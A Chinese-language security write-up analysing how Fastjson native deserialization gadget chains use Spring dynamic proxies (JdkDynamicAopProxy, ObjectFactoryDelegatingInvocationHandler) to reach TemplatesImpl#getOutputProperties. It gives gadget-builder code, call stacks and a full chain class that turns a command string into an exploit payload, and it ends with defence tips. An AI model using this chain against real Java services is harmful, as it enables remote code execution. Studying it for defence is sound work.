fastjson 原生反序列化配合动态代理绕过限制
字数 968 2025-08-22 12:23:36
Fastjson原生反序列化配合动态代理绕过限制技术分析
前言
本文详细分析Fastjson原生反序列化漏洞中利用动态代理技术绕过限制的方法,重点介绍两种动态代理实现方式:JdkDynamicAopProxy和ObjectFactoryDelegatingInvocationHandler。
动态代理基础
动态代理在CC1链中的应用
在Commons Collections 1(CC1)链中,动态代理是关键环节:
// CC1链动态代理部分代码
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler instance = (InvocationHandler) constructor.newInstance(Override.class, decorate);
Map proxyInstance = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, instance);
调用链分析:
AnnotationInvocationHan.readobject
→ proxy.entryset
→ AnnotationInvocationHan.invoke
→ LazyMap.get
→ chainedTransformer.transformer...
AnnotationInvocationHandler的invoke方法
关键方法分析:
public Object invoke(Object var1, Method var2, Object[] var3) {
// ...
default:
Object var6 = this.memberValues.get(var4); // 关键点:memberValues可控
// ...
}
JdkDynamicAopProxy代理绕过
基本原理
- 构造
JdkDynamicAopProxy对象,将TemplatesImpl设置为targetSource - 使用该对象构造代理类,代理
javax.xml.transform.Templates接口 - JSON序列化库只能从代理对象上找到
getOutputProperties方法 - 通过代理机制触发
TemplatesImpl#getOutputProperties
关键代码实现
public class JdkDynamicAopProxyNode {
public static Object makeGadget(Object gadget) throws Exception {
AdvisedSupport as = new AdvisedSupport();
as.setTargetSource(new SingletonTargetSource(gadget));
return Reflections.newInstance("org.springframework.aop.framework.JdkDynamicAopProxy", AdvisedSupport.class, as);
}
}
调用栈分析
invoke:160, JdkDynamicAopProxy
getOutputProperties:-1, $Proxy1
write:-1, OWG_1_1_$Proxy1
write:3124, JSONWriterUTF16
toString:914, JSONArray
readObject:86, BadAttributeValueExpException
...
ObjectFactoryDelegatingInvocationHandler绕过
实现原理
- 代理Templates接口
- 使用JSONObject代理ObjectFactoryDelegatingInvocationHandler中的objectFactory属性
- 返回TemplatesImpl对象
关键方法分析
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
switch (method.getName()) {
// ...
default:
try {
return method.invoke(this.objectFactory.getObject(), args); // 关键调用
} catch (InvocationTargetException var6) {
throw var6.getTargetException();
}
}
}
调用栈分析
invoke:292, AutowireUtils$ObjectFactoryDelegatingInvocationHandler
getOutputProperties:-1, $Proxy2
write:-1, OWG_1_1_$Proxy2
write:3124, JSONWriterUTF16
toString:914, JSONArray
readObject:86, BadAttributeValueExpException
...
完整利用链构造
public class Fastjson4_JdkDynamicAopProxy {
public Object getObject(String cmd) throws Exception {
Object node1 = TemplatesImplNode.makeGadget(cmd);
Object node2 = JdkDynamicAopProxyNode.makeGadget(node1);
Proxy proxy = (Proxy) Proxy.newProxyInstance(Proxy.class.getClassLoader(),
new Class[]{Templates.class}, (InvocationHandler)node2);
Object node3 = JsonArrayNode.makeGadget(2, proxy);
Object node4 = BadAttrValExeNode.makeGadget(node3);
Object[] array = new Object[]{node1, node4};
Object node5 = HashMapNode.makeGadget(array);
return node5;
}
}
技术要点总结
- 动态代理选择:根据目标环境选择合适的动态代理实现
- 接口代理:必须代理Templates接口以确保getOutputProperties方法可用
- 目标对象注入:通过TargetSource或ObjectFactory机制注入恶意TemplatesImpl对象
- 调用链构造:合理组合JSONArray、BadAttributeValueExpException等组件形成完整利用链
- 版本适配:注意不同Fastjson版本和JDK版本间的兼容性问题
防御建议
- 升级Fastjson到最新安全版本
- 限制反序列化时的类加载行为
- 对动态代理对象进行严格校验
- 实施最小权限原则,限制危险类的使用